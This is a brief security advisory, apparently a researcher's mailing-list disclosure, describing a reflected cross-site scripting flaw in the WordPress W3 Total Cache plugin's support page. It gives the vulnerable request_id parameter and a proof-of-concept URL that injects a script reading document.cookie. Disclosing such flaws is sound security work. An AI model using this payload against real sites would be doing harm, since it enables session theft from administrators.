[+] Description: Cross-Site Scripting vulnerability was found on Wordpress
W3 Total Cache (w3tc) plugin.
[+] Plugin Version tested: <= 0.9.4.1 (latest)
[+] Wordpress version tested: 4.0.0 - 4.6.1 (latest)

------------------------------

[+] Component: W3 Total Cache Admin (performance menu) -> Support -> Add
new ticket
[+] Variable: request_id
[+] Method: GET

-------------------------------

[+] Affected URL:
https://labs.nivel4.net/wordpress/wp-admin/admin.php?page=w3tc_support&request_type=bug_report&payment&url=http://example.org&name=test&email=test%40gmail.com&twitter&phone&subject=test&description=test&forum_url&wp_login&wp_password&ftp_host&ftp_login&ftp_password&subscribe_releases&subscribe_customer&w3tc_error=support_request&request_id=XSS_PAYLOAD_HERE

---------------------------------

[+] POC:
https://labs.nivel4.net/wordpress/wp-admin/admin.php?page=w3tc_support&request_type=bug_report&payment&url=http://example.org&name=test&email=test%40gmail.com&twitter&phone&subject=test&description=test&forum_url&wp_login&wp_password&ftp_host&ftp_login&ftp_password&subscribe_releases&subscribe_customer&w3tc_error=support_request&request_id=11111666
"><script>alert(document.cookie)<%2Fscript>


[+] More info:
https://blog.zerial.org/seguridad/vulnerabilidad-cross-site-scripting-en-wordpress-w3-total-cache/


-- 
Fernando A. Lagos Berardi - Zerial
Seguridad Informatica
Linux User #382319
Blog: https://blog.zerial.org <http://blog.zerial.org>

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